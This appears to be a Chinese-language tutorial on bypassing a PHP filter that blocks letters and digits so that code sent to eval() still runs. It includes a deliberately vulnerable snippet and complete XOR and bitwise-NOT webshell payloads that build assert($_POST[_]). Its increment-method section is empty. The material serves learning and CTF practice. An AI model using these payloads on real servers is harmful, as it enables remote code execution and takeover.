无数字字母rce,这是一个老生常谈的问题了,就是不利用数字和字母构造出webshell,从而能够执行我们的命令,之前一直没有系统总结过,今天来好好总结总结,这里主要是总结异或和取反两种方法,这两种方法是目前来看最实用的两种方法
核心代码
♾️ abap 代码:<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>
{tabs}
{tabs-pane label=" 异或 ^ "}
这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是 相同为零,不同为一 ,ascii码表参考如下:
然后我们就可以按照这个方法进行拼接了,我们的目标字符串是assert($_POST[_]),其实很简单,我们需要拼接的字母只有十个而已,拼接结果如下,因为很多都是不可见的字符,所以说我就先url编码了一下(url编码就是它的16进制编码前面加个%哈):
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
a:'%40'^'%21' 表示对字符串 "%40" 和 "%21" 进行异或运算。%40 对应字符 "@",其ASCII码为64,二进制表示为 01000000。%21 对应字符 "!",其ASCII码为33,二进制表示为 00100001。对应位进行异或运算,结果为 01100001,即字符 "a" 的ASCII码。
{/tabs-pane}
{tabs-pane label="取反 ~"}
取反的好处就是,它每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。
先,我们想要构造的依然是assert($_POST[_])这条语句,和上面一样,我们先用php的取反符号~将字符串assert和_POST取反,这里需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。
访问网站: https://c.runoob.com/compile/1/
代码:
<?php
$a=urlencode(~("assert"));
$b=urlencode(~("_POST"));
echo $a;
echo "\n";
echo $b;
?>
结果:
♾️ abap 代码:%9E%8C%8C%9A%8D%8B
%A0%AF%B0%AC%AB
可以看到,assert的取反结果是%9E%8C%8C%9A%8D%8B,_POST的取反结果是%A0%AF%B0%AC%AB,那我们就开始构造:
♾️ abap 代码:$_=~(%9E%8C%8C%9A%8D%8B); //这里利用取反符号把它取回来,$_=assert
$__=~(%A0%AF%B0%AC%AB); //$__=_POST
$___=$$__; //$___=$_POST
$_($___[_]); //assert($_POST[_]);
放到一排就是:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);
{/tabs-pane}
{tabs-pane label="自增 ++"}
自增 ++
{/tabs-pane}
{/tabs}